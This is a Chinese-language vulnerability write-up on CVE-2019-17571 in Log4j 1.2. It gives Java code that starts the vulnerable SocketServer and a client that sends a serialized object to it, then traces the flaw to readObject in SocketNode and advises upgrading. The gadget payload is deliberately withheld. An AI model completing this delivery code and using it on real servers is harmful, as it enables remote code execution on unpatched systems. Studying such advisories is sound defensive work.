一、漏洞描述
Log4j 1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。
二、漏洞复现
2.1 启动SocketServer端
import org.apache.log4j.Logger;
import org.apache.log4j.net.SimpleSocketServer;
public class CVE_2019_17571Server {
private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
public static void main(String[] args) throws Exception {
System.out.println("start log4j Socket Server Port 5000");
String[] argss = { "5000", "src/log4j.properties" };
SimpleSocketServer.main(argss);
log.info("succ");
}
}
2.2 Socket 编写以及攻击序列化
public static void main(String[] args) throws Exception {
send();
}
public static void send() throws Exception {
Socket skt = new Socket();
SocketAddress add = new InetSocketAddress("127.0.0.1", 5000);
skt.connect(add);
Object instance = createPocSerialize();
// 序列化
ByteArrayOutputStream aout = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aout);
oos.writeObject(instance);
oos.flush();
oos.close();
OutputStream out = skt.getOutputStream();
out.write(aout.toByteArray());
aout.flush();
out.flush();
out.close();
skt.close();
}
2.3 击代码序列化对象
略。。。。。。(为防止,利用该漏洞攻击他人系统,此处不贴该代码)
2.4 运行结果
3 漏洞分析
- org.apache.log4j.net.SimpleSocketServer#main()
首先开启Log4j自带的SocketServer服务器时,会监听设置的端口(本例:5000),传入SocketNode类,启动一个新的线程进行处理. - org.apache.log4j.net.SocketNode
SocketNode类的构造方法中会对socket接收的数据封装为一个Object流对象.
问题就出现在这里 readObject,反序列化时,触发了以上设计好的攻击代码
-
漏洞修复
目前官方已在Apache Log4j 2.8.2版本之后修复了该漏洞,请受影响的用户升级至2.8.2 或更高的版本进行防护.